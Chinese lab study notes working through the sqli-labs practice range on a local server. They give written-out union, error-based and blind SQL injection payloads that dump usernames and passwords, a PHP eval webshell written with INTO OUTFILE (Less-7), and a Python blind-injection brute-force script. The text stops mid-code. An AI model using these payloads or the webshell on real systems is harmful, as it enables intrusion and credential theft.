文章目录
- 一、sqli-lab靶场搭建
- 二、通关笔记
- 1.Less-1
- a.单引号‘
- b.updatexml
- c.concat
- d.union
- e.information_schema
- f.GROUP_CONCAT
- g.select 1,2
- 2.Less-2
- 3.Less-3
- a.怎么找到注入点
- b.判断SQL注入漏洞的类型
- c.闭合语句
- d.如何判断显示位
- e.答案
- 4.Less-4
- 5.Less-5
- a.判断注入漏洞的依据
- b.bool注入原理
- c.sqlmap安装和使用
- d.盲注获取数据库长度
- e.substr
- f.盲注获取当前数据库名称
- h.盲注获取当前表名称
- i.盲注获取某个表所有列名称
- j.盲注获取密码
- 6.Less-6
- a.获取数据库名称
- b.获取表信息
- c.获取列信息
- d.获取表内数据
- 7.Less-7
- 8.Less-8
- a.获取数据库名称
- b.获取表信息
- c.获取列信息
- d.获取表内数据
- 9.Less-9
- a.注入点判断
- b.字符型判断
- c.列数判断
- d.获取数据库名称
- e.获取表信息
- f.获取列信息
- g.获取表内数据
- 10.Less-10
- a.注入点判断
- b.字符型判断
- c.列数判断
- d.获取数据库名称
- e.获取表信息
- f.获取列信息
- g.获取表内数据
- 11.阶段总结
- 12.Less-11
- a.注入点判断
- b.字符型判断
- c.获取数据库名称
- d.获取表信息
- e.获取列信息
- f.获取表内数据
- 13.Less-12
- a.注入点判断
- b.获取数据库名称
- c.获取表信息
- d.获取列信息
- e.获取表内数据
- 14.Less-13
- a.注入点判断
- b.轮子测试
- c.获取数据库名称
- d.获取表信息
- e.获取列信息
- f.获取表内数据
- 15.Less-14
- a.注入点判断
- b.轮子测试
- c.获取数据库名称
- d.获取表信息
- e.获取列信息
- f.获取表内数据
- 三、python读取网页返回工具
- 四、使用burp实现爆破sql注入(失败)
一、sqli-lab靶场搭建
下载路径:https://www.hibugs.net/hi-resource/sqli-labs-master.zip
下载后解压复制到www目录,然后进入sql-connections
文本编辑db-creds.inc,填写数据库密码
pikachu的php版本改为7以下
然后打开网页安装数据库
安装成功的界面如下
接下来就可以进入靶场了
二、通关笔记
1.Less-1
输入?id=1时
发现?id=1到?id=14都有数据
a.单引号‘
sql注入加单引号的缘由是为了让sql语句产生毛病,从而得知其有无过滤措施,例如:
一开始SQL语句是这样的:
select * from users where id=‘1’
当你加了单引号后变成了这样:
select * from users where id=‘1’’
这样是不符合sql语法规则的,因此会报错,若没报错,说明有多是被过滤掉或有其他防护手段。
接下来尝试让它报错,加个引号试下
发现14在错误信息里一起出来了
接下来先学习一个报错注入函数
b.updatexml
updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
c.concat
第二个函数是字符串拼接concat
显然把用户名和~连接起来了
select updatexml(1,concat(0x7e,(SELECT user())),0x7e);
报错说明是参数2出现xpath注入,而且把数据库名也带在报错信息里了,因此我们可以利用这个漏洞进行注入
接下来继续学习一个方法,union
d.union
union会自动压缩多个结果集合中重复的结果,使结果不会有重复行,union all 会将所有的结果共全部显示出来,不管是不是重复。
union:会对两个结果集进行并集操作,不包括重复行,同时进行默认规则的排序。
如果要合并两个结果集,那么他们的列数必须相同
而select updatexml(1,concat(0x7e,(SELECT user())),0x7e)的结果是一行一列
而http://127.0.0.1:9009/Less-1/?id=14’的结果也是一行一列,因此可以合并
合并后应该是2行一列,把结果二放在最后一行
使用联合注入的方法居然出来了
1’ union select updatexml(1,concat(0x7e,(SELECT user())),0x7e)’
但是实际上不是,是直接抛出后面的错误了
可以发现不管是在前面还是后面,都是抛出同样的错误,说明只要有报错,就直接抛出报错信息,不合并
先这样猜想,后面再验证下是不是
现在我们拿到了当前数据库名,接下来我们需要这个数据库里有哪些表
e.information_schema
SELECT table_name FROM information_schema.tables WHERE table_schema = ‘security’;
使用information_schema可以查询到指定数据库有哪些表
f.GROUP_CONCAT
GROUP_CONCAT函数可以将多行结果集拼接成一个字符串
现在我们把这个方法用到靶场里
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’;
g.select 1,2
14’ union select 1,2,updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’)),0x7e)’
加入1,2是为了凑显示位,以后可以用这种方法找出需要的列数
执行成功了
但是发现这里表名显示不全,估计是因为updatexml的原因,看下能否不用它显示出来
-1’ union select 1,2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ ’
h.id=-1
把 id修改成-1说明左边的结果查不到,然后腾出显示位给右边的结果集
接下来呢,我们当然要看user里的数据,在此之前我们先找出user里有哪些列名
select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”;
-1’ union select 1, 2, group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”’
现在我们知道了users的列名,接下来当然是查出数据了
i.–+
–+把后面的 ’ LIMIT 0,1 给注释掉了
-1’ union select 1,2, group_concat(username, ‘:’, password) from users --+
2.Less-2
这一关和第一关几乎一样,只是需要把单引号去掉
获取数据库名
1 union select updatexml(1,concat(0x7e,(SELECT database())),0x7e)
获取表名
-1 union select 1,2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’
获取列名
-1 union select 1, 2, group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”
获取用户名密码
-1%20 union select%20 1,2, group_concat(username, ‘:’, password) from users --+
3.Less-3
a.怎么找到注入点
在我们可控的输入部分加一些符号,查看页面是否正常
www.example.com/index.php?id=1,这里的id变量是用户可控的
如何判断是否存在sql注入?
“加引号”法 无论字符型还是整型都会因为单引号个数不匹配而报错
(如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入。)
直接加’说明存在注入点
b.判断SQL注入漏洞的类型
方法1:
id=1 order by 9999 --+
如果正确返回页面,则为字符型
否则,为数字型
字符型执行的sql语句为select * from user where id=‘1 order by 9999 --+’,注释符【- -】实际上在执行的时候,被当成id的一部分,也就是说,在执行sql语句的时候,条件是id=‘1 order by 9999 --+’。最终只会截取前面的数字,返回id=1的结果。
如果是数字型的话,执行的sql语句为select * from user where id=1 order by 9999 --+,在现实生活中,根本就没什么可能会存在有9999个字段的表,所以会报错。
方法2:
url中输入?id=1 and 1=1 页面依旧正常运行,继续下一步
url中输入?id=1 and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
方法3:
url中输入1’ and ‘1’ = ‘1,页面运行正常,继续进行下一步。
url中继续输入1’ and ‘1’ = '2,页面运行错误,则说明此 Sql 注入为字符型注入。
第1关是字符型
第2关是数字型
第3关还是字符型
c.闭合语句
单引号/双引号,注释
数字型的注入,不需要闭合就可以直接进行注入。(如果系统做了数字型传入的判断,就防止注入)如上面的第2关
字符型的注入,$id多为字符型输入,需要进行闭合
注释–+的目的:为了过滤掉多余的字符不让它影响我们构造的sql语句执行
通过闭合跟注释,构造出了一段空区域,这段空白区域可以由我们自己构造注入语句去代入到数据库执行。(查询数据库,表,字段)
d.如何判断显示位
方法1
order by n 排序
www.example.com/index.php?id=1’ order by n –
如果说n=3的时候页面正常,n=4的时候页面显示不正常,则可以判断出3个字段。
方法2
通过联合查询的方式判断哪些是显示字段
www.example.com/index.php?id=0’ union select 1,2,3 #
通过报错分析过滤点
#猜测试sql语句
select Login_name,Password from table_name where id = (‘ID’) limit 0,1;
第三关猜测id那里被加了(“id”),尝试添加)闭合
e.答案
1 ') union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
获取数据库名(记住字符型后面需加注释–+)
获取表名
-1’) union select 1,2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ --+
获取列名
-1’) union select 1, 2, group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” --+
获取用户名密码
-1’) union select%20 1,2, group_concat(username, ‘:’, password) from users --+
4.Less-4
发现加引号并没报错,那应该怎么注入呢
发现需要用双引号才能触发错误
结合上题的经验
获取数据库名
1 ") union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
获取表名
-1") union select 1,2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ --+
获取列名
-1") union select 1, 2, group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” --+
获取用户名密码
-1") union select%20 1,2, group_concat(username, ‘:’, password) from users --+
5.Less-5
获取数据库名
1’ union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
但是获取表名时没有显示位
-1’ union select 1,2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’
a.判断注入漏洞的依据
b.bool注入原理
当我们输入id=1 和id=15时页面返回You are in和不返回的提示,我们得到的信息很少。这和之前的联合注入有很大的不同。
<?php
$username = $_POST['username'];
$password = md5($_POST['password']);
//准备sql查询
$sql = "select * from users where username='{$username}' and password='{$password}' limit 0,1";
//执行sql
$result = mysql_query($sql);
//取得一行结果
$row = mysql_fetch_array();
if(empty($row)){
echo "用户名或密码不存在";
}else{
echo "登录成功";
}
上面不会显示结果,但是只有两种状态,就是成功和失败。这们通过这种两种状态来进行获取数据库内容的方试就叫bool注入
如以下的验证方式,正常通过是这样的
而bool条件中有一个为假则不返回
接下来我们需要用到一个工具来对付bool盲注,就是sqlmap
先看下怎么安装
c.sqlmap安装和使用
下载路径 https://sqlmap.org/
然后cmd下执行命令
python sqlmap.py http://127.0.0.1:9009/Less-5/?id=14 --current-db --dump --batch开始渗透
发现已经可以全部查出来了
现在我们不使用工具,只是单纯使用url和sql语句,看能否爆出数据
我们知道原先数据库里有12个数据库
那么我们怎么知道当前用的是哪个数据库,以及数据库长度,数据库名称呢
我们知道sql里可以这样查出来
那么怎么在url里盲注验证这个结果呢
d.盲注获取数据库长度
通过以下方法逐个试出数据长度
id=14’ and length(database())=8 --+
知道了长度有啥用呢,再猜下数据库首字母吧
e.substr
这里我们需要学习一个新的函数,substr
作用是:从一个内容中,按照指定条件,「截取」一个字符串。这个内容可以是数值或字符串。
用法:substr(obj,start,length)注意start是从1开始,不是从0
所以我们用这个方法获得数据库首字母
f.盲注获取当前数据库名称
14’ and substr(database(), 1, 1)=‘s’ --+
通过这个方法我们得知数据库第一个字母是s
当然我们还可以继续试第二个字母,第三个字母…,直到把8个字母全部试出来
通过上面逐个字母的测试,我们终于知道了数据库名称是security
但是这种方法是不是觉得有点笨,有没有循环试错的方法呢
有的,这是我写的存储过程
delimiter // #定义标识符为双斜杠
drop procedure if exists test; #如果存在test存储过程则删除
create procedure test() #创建无参存储过程,名称为test
begin
declare i int;
declare j int;
declare name VARCHAR(255);
set j = 1;
set name = "";
while j <= 8 do
set i = 0;
while i < 26 do #结束循环的条件: 当i大于26时跳出while循环
if(substr(database(), j, 1)=CHAR(ascii('a')+i)) THEN
set name = concat(name, CHAR(ascii('a')+i));
select name, CHAR(ascii('a')+i);
END IF;
set i = i + 1;
end while;
set j = j + 1;
end while; #结束while循环
select * from test;
SELECT name;
end
// #结束定义语句
delimiter ;
call test();
你看,是不是一次性全都查出来了但是怎么让它在页面里执行呢,感觉有点难度
接下来我们需要用同样的方法爆出表长度,表名称
h.盲注获取当前表名称
首先还是猜出长度,经验是可以先使用>,<之类的先圈定范围,然后再使用=,其实后面的字母枚举也可以用这种方法
14’ and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
知道了长度接下来就是爆出这段字符串了
14’ and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), 1, 1)=‘e’ --+
http://127.0.0.1:9009/Less-5/?id=14’ and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), 2, 1)=‘m’ --+
后面的操作都一样的,在此不加赘述
i.盲注获取某个表所有列名称
比如我们需要知道users这个表里有哪些列
那么用盲注的方法该怎么拿到呢
一样的逻辑,先爆出长度
14’ and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
然后逐个猜出字符
14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1), 1, 1)=‘i’ --+
14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1), 2, 1)=‘d’ --+
j.盲注获取密码
密码里居然有特殊符号,而且这么长,看来不用工具做是不行了
老办法,还是先搞长度
14’ and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
天哪长度188
Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4
用word算下也确实如此
接下来我打算用第三节自己开发的工具爆破出这一大段文字密码
当个枚举语法是
14’ and substr(substr((select group_concat(username, ‘:’, password) from users), 1),
d
1
,
1
)
=
d1, 1)=
d1,1)=d2 --+
替换进去,并把长度改成188,运行一下看看
好家伙,uil1.txt就写了1m多,没关系,先看下结果,虽然还没全部跑完,但是前面这几个全都对上了
至此该关卡结束
6.Less-6
第6关也是盲注
但是发现一个问题,就是加单引号不管加几个页面都没变化,怀疑是不是有延时盲注
a.获取数据库名称
1 " union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
不是时间盲注,只是必须id那里用双引号而已
b.获取表信息
14" and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
同样的,用我的工具跑一次
url = "127.0.0.1:9009/Less-6/?id=14\” and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), "
结果完全正确
c.获取列信息
14" and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
url = “127.0.0.1:9009/Less-6/?id=14” and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1), "
d.获取表内数据
14" and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
url = “127.0.0.1:9009/Less-6/?id=14” and substr(substr((select group_concat(username, ‘:’, password) from users), 1), "
j = ‘a’
fp = open(“url1.txt”, “w”)
#21是目标长度
writeurl(fp, url, “, 1)=”, “–+\n”, 188+1)
显然,全都正确
7.Less-7
第7关彻底连数据库名称也拿不到了
127.0.0.1:9009/Less-7/?id= 14’ or 1=1 --+
发现id后面加’号界面呈周期性变化,证明存在sql注入
但是or或者and不管是真是假都没用,只看id那里的真假
那么怎么构造轮子呢,这关太恶心了,不单id有两个括号,后面也被加了两个括号
14’)) and length(database())=8–+((
使用order by判断列数14’)) order by 4 --+
这里一直说use outfile是啥意思呢,应该是个新的知识点,只能网上先查下了
网上查了说是可以通过联合注入上传,但是我这边根本上传不了,查了下
show variables like ‘%secure%’;
secure_file_priv NULL说明是禁止上传,怎么改这个设置呢
方法是找到phpstudy安装路径下的这个地方,打开my.ini
如果存在secure_file_priv就将其修改为secure_file_priv=“”
若不存在添加secure_file_priv=""即可
然后重启mysql,再查发现没了
1’)) union select 1,2,“<?php @eval($_POST['hyc']); ?>” into outfile “D:\phpstudy_pro\WWW\sqli-labs-master\Less-7\hyc.php” --+
然后我们再去页面看下能否上传
居然成功了
好,用菜刀连下,居然也成功了,不过这个条件太苛刻了,估计也只有这个例子可用了
1,show variables like ‘%secure%’;用来查看mysql是否有读写文件的权限
2,数据库的file权限规定了数据库用户是否有权限,向操作系统内写入和读取已存在的权限
3,into outfile命令使用的环境:必须知道一个,服务器上可以写入文件的文件夹的完整路径
8.Less-8
第8关加单引号存在周期性报错,说明id处存在sql注入点
使用1 order by 9999 --+检测发现是字符型
继续判断列数1’ group by 3 --+,发现列数为3
期间任何输入输出只有You are in…或空两种情况,说明存在sql盲注可能性
a.获取数据库名称
使用14’ and length(database())=8–+获取数据库名称长度时发现id处没有过滤
使用工具爆破下数据库用户名
url = "127.0.0.1:9009/Less-8/?id=14’ and substr(substr((database()), 1), "
writeurl(fp, url, “, 1)=”, “–+\n”, 8+1)
b.获取表信息
14’ and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
爆破表名
"127.0.0.1:9009/Less-8/?id=14’ and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), "
c.获取列信息
14’ and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
url = "127.0.0.1:9009/Less-8/?id=14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1), "
d.获取表内数据
14’ and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
url = "127.0.0.1:9009/Less-8/?id=14’ and substr(substr((select group_concat(username, ‘:’, password) from users), 1), "
比对下,除了全部是小写之外其他全部正确
9.Less-9
第9关有点奇怪,怎么输页面都没变化
只能借助bp看字段长度了
发现报错时长度是974,正常时937
a.注入点判断
那好,现在先看下注入点是否有变化,发现加单引号没任何变化
但是加’)–+后发现有变化了,猜测原id被加了括号,而且是字符型,(‘id’)
b.字符型判断
用1 order by 9999 --+检测一下确实是字符型
c.列数判断
1’ group by 3 --+检验一下列数发现是3列
接下来看看能否获取数据库名称长度
d.获取数据库名称
14’ and length(database())=8–+,还真可以,说明是8
看下字母枚举14’ and substr(substr((database()), 1), 1, 1)=‘s’–+,长度响应确实对了,但是页面一直没刷新怎么办呢,不然工具都没法抓数据,或者工具里增加一个功能,获取返回的长度,如果内容没变化就看长度,当然事先需要给工具告知一个正确的长度,这样它知道怎么找
找长度,其实就是提取这个值
所以接口方法应该是类似
def getlength(text, value):
text是html网页内容
value是正确的长度,这里是707
结果是返回正确还是错误长度
工具里增加一个分支,使用该分支爆破结果也出来了
url = "127.0.0.1:9009/Less-9/?id=14’ and substr(substr((database()), 1), "
e.获取表信息
14’ and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
出现937说明29正确
爆破表名
url = "127.0.0.1:9009/Less-9/?id=14’ and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), "
表名也爆破出来了
f.获取列信息
14’ and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
出现937说明列长度是20
爆破列名
url = "127.0.0.1:9009/Less-9/?id=14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1), "
g.获取表内数据
14’ and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
出现937说明长度是188
url = "127.0.0.1:9009/Less-9/?id=14’ and substr(substr((select group_concat(username, ‘:’, password) from users), 1), "
完全正确
10.Less-10
终于到第10关了,看下这关有什么陷阱
http://127.0.0.1:9009/Less-10/?id=15
和上一关一样的模式?发现正确长度是939
a.注入点判断
至对”敏感,说明存在注入点
http://127.0.0.1:9009/Less-10/?id=14 “
b.字符型判断
用1 order by 9999 --+检测一下确实是字符型
c.列数判断
1" group by 3 --+检验一下列数发现是3列
d.获取数据库名称
1" and length(database())=8–+
说明长度是8
爆破数据库名称,记得要将长度改成709
url = “127.0.0.1:9009/Less-10/?id=14” and substr(substr((database()), 1), "
e.获取表信息
14” and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
出现939说明长度是29
表名爆破
url = “127.0.0.1:9009/Less-10/?id=14” and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), "
f.获取列信息
14” and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
出现939说明正确长度是20
列名爆破
url = “127.0.0.1:9009/Less-10/?id=14” and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1), "
g.获取表内数据
14” and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
出现939说明长度是188
表数据爆破
url = “127.0.0.1:9009/Less-10/?id=14” and substr(substr((select group_concat(username, ‘:’, password) from users), 1), "
11.阶段总结
前10关终于做完了,告一段落,先总结一下
首先拿到站点,先判断一下是否存在注入,用’之类的方法判断其敏感性,注意有些需要加)之类的闭合,然后看情况换成”
其次用1 order by 9999 --+判断是字符型还是数字型
接着用1’ group by 3 --+判断列数,即显示位
用1’ and length(database())=8–+判断数据库名称长度
用id=14’ and substr(substr((database()), 1), "爆破数据库名
用id=14’ and length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29 --+
判断表名长度
用id=14’ and substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1), " 爆破表名
用14’ and length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20 --+
判断列名长度
用id=14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1), "爆破列名
用14’ and length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188 --+
判断表数据长度
用id=14’ and substr(substr((select group_concat(username, ‘:’, password) from users), 1), "爆破数据
12.Less-11
显然这关不能再在url里注入了,怎么输都没变化
那么看来只能从输入框注入了
a.注入点判断
发现用户框或密码框存在注入,加单引号呈现周期性报错
b.字符型判断
用1 order by 9999 --+分别检测一下确实都是字符型
c.获取数据库名称
用户框输入
1’ union select updatexml(1,concat(0x7e,(SELECT database())),0x7e)
密码框输入’ 1
看来这个不是盲注了
d.获取表信息
用户框输入,同时通过select 1,2之类的尝试测试出显示位
1’ union select 1, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’
密码框输入’1,前面的单引号起到和前面闭合的作用
表名没输出来,但是提示登录成功了,啥情况,猜测这里还是只能用报错注入updatexml
用户名输入
1’ union select 1, updatexml(1, (select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ ), 0x7e)
密码还是’1
结果出来了,但是显示不全,看来用updatexml就是有这个毛病
查下updatexml有没有完整输出的方法
用户名
1’ union select 1, updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e)
这样居然全都拿到了
其实还有一个逐个提取分页显示的方法
用户名输入
1’ union select 1, updatexml(1, concat(0x7e,(select table_name FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1), 0x7e),1)
然后逐个增加上图0这个数字用于切换行数
e.获取列信息
这次我们就直接提取了,用户名直接输入
1’ union select 1, updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e)
f.获取表内数据
1’ union select 1, updatexml(1, concat(0x7e,(select group_concat(username, ‘:’, password) from users limit 0,1),0x7e), 0x7e)
看来还是得分页提取
用户名输入
1’ union select 1, updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 0,1), 0x7e),1)
然后逐个修改0的数值
然后我们用获取到的这第11个用户名密码登录下,发现登录成功了,ok,本关结束
13.Less-12
a.注入点判断
发现对双引号敏感,用户名密码存在sql注入
b.获取数据库名称
1" union select updatexml(1,concat(0x7e,(SELECT database())),0x7e)
但是报错了
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘union select updatexml(1,concat(0x7e,(SELECT database())),0x7e)") and password=(’ at line 1
通过这个报错信息我们能发现什么呢,猜测传进去的数值应该都被括号()包裹起来了
先试下用户名输入1" ) --+(,密码输入”发现没报错,然后再试
1" ) union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+(
说明下,这里第一个)起到闭合用户名的作用,第二个(闭合密码,然后中间空出来的这段就留给我们注入了
c.获取表信息
知道了轮子(结构),试下看下能否直接替换
用户名输入
1" ) union select 1, updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e) --+(
d.获取列信息
用户名输入
1" ) union select 1, updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e)–+(
e.获取表内数据
用户名输入
1" ) union select 1, updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 0,1), 0x7e),1)–+(
1" ) union select 1, updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 12,1), 0x7e),1)–+(
Ok,这关结束
14.Less-13
a.注入点判断
两个输入框都对’敏感,说明存在sql注入点
b.轮子测试
接下来测试轮子
用户名输入1’) --+(,密码输入’发现没有报错,猜测这就是轮子
c.获取数据库名称
在轮子的基础上用户名输入
1’) union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+(
d.获取表信息
在轮子的基础上用户名输入
1’) union select 1, updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e) --+(
e.获取列信息
在轮子的基础上用户名输入
1’) union select 1, updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e) --+(
f.获取表内数据
在轮子的基础上用户名输入
1’) union select 1, updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 0,1), 0x7e),1) --+(
发现这里拿到的用户名每个都可以登录,应该改成特定关卡用特定用户名密码才对
15.Less-14
a.注入点判断
又是双引号
b.轮子测试
这个不会这么简单吧,直接就让我找到了,轮子:1" --+
c.获取数据库名称
在轮子的基础上用户名输入
1" union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
d.获取表信息
在轮子的基础上用户名输入
1" union select 1, updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e) --+
e.获取列信息
在轮子的基础上用户名输入
1" union select 1, updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e) --+
f.获取表内数据
在轮子的基础上用户名输入
1" union select 1, updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 0,1), 0x7e),1) --+
三、python读取网页返回工具
接下来这个单元我们要开发个工具,专门用于sql注入
输入是个文本,里面是我们写好sql注入的url,我们这里已经是基于批量读取的模块开发
可以看到两个网页都只是返回200,那么我们怎么获取网页内容呢
发现在返回200的时候执行以下语句可以获取网页内容
其实这里我有个想法,就是输出用户指定关键字的内容,而不是整个网页都输出来,那样很乱,比如这里的You are in就是个关键字,找到后输出那一行就行,找不到就说找不到,然后每次把找到的结果和url 一起输出到文本中
比如像下面这样
可以看到我们获取到了到指定位置所在行数据
接下来我们还可以做个url输入函数,这样不用手动去改输入文本
比如我们需要遍历写入
127.0.0.1:9009/Less-5/?id=14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1), 2, 1)=‘d’–+
像这样遍历写入生成文本
遍历执行后,我们发现在第20行出现了变化
接下来只需要把每次的结果写到文本里就行,像这样,只是把有输出结果的写到文本里就行
经过验证,确实只有2和20在界面上有响应
也就是说第二个字母和第20个字母都是d,而事实也确实如此
如此,单个字母的遍历就完成了,接下来再加一重循环就可以完整遍历整个字符串了
像这样遍历每个字母生成url
是不是刚好有id username pa只是还少特殊符号和数字,这里只是把26个字母的遍历加进去了,加上这些之后
刚好全部找到了
以下是这个工具的完整代码
import requests
import os
import sys
def writeurl(file, url, ends1, ends2, num):
s = ['`', '!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '-', ',', '.', ':']
for i in range(1, num):
for k in range(26):
content = url
content += str(i)
content += ends1
content += "'"
content += chr(ord('a') + k)
content += "'"
content += ends2
file.write(content)
for k in range(10):
content = url
content += str(i)
content += ends1
content += "'"
content += chr(ord('0') + k)
content += "'"
content += ends2
file.write(content)
for k in s:
content = url
content += str(i)
content += ends1
content += "'"
content += k
content += "'"
content += ends2
file.write(content)
def myfind(content, key):
if content.find(key) != -1:
j = 0
s = []
start = 0
end = 0
for i in content:
j += 1
if i == '\n' and j < content.find(key):
start = j
if j > content.find(key):
if i == '\n':
end = j
break
str1 = ""
j = 0
for i in content:
j+=1
if j > start and j < end:
s.append(i)
str1 = str1.join(s)
print(str1)
return str1
def getlength(text, value):
if len(text) == value:
return True
else:
return False
if __name__ == "__main__":
url = "127.0.0.1:9009/Less-9/?id=14' and substr(substr((select group_concat(username, ':', password) from users), 1), "
j = 'a'
fp = open("url1.txt", "w")
#21是目标长度
writeurl(fp, url, ", 1)=", "--+\n", 188+1)
fp.close()
searchtype = 1 #0是内容查询 1是长度查询
file_name = input() #读取文件名
b = os.path.exists(file_name) #先判断文件是否存在
if b == False:
print("文件不存在")
else:
fp1 = open(file_name, "r") #以只读,打开文件
fp2 = open("result.txt", "w")
fp3 = open("output.txt", "w")
for line in fp1.readlines(): #readlines 按行读取文件,会保留'\n',返回一个(文件中一行为一个元素)列表
url = "http://" + line #利用line遍历列表,加上https://,使它成为完整的url
url = url.replace("\n","") #把文件中读出来时,末尾的‘\n’去掉(替换成空)
#print(url)
try: #异常处理
code = requests.get(url,allow_redirects=False, timeout=5).status_code #获取状态码,通过状态码判断url网址状态
#print(code)
if (code == 200 or code == 412): #将状态码为200的保存到result.txt文件中
fp2.write(url + "\n") #写入时要加入'\n',不会自动添加
response = requests.get(url)
if searchtype == 0:
content = myfind(response.text, "You are in")
if content != None:
print(content)
c = url
c += ":"
c += content
c += "\n"
fp3.write(c)
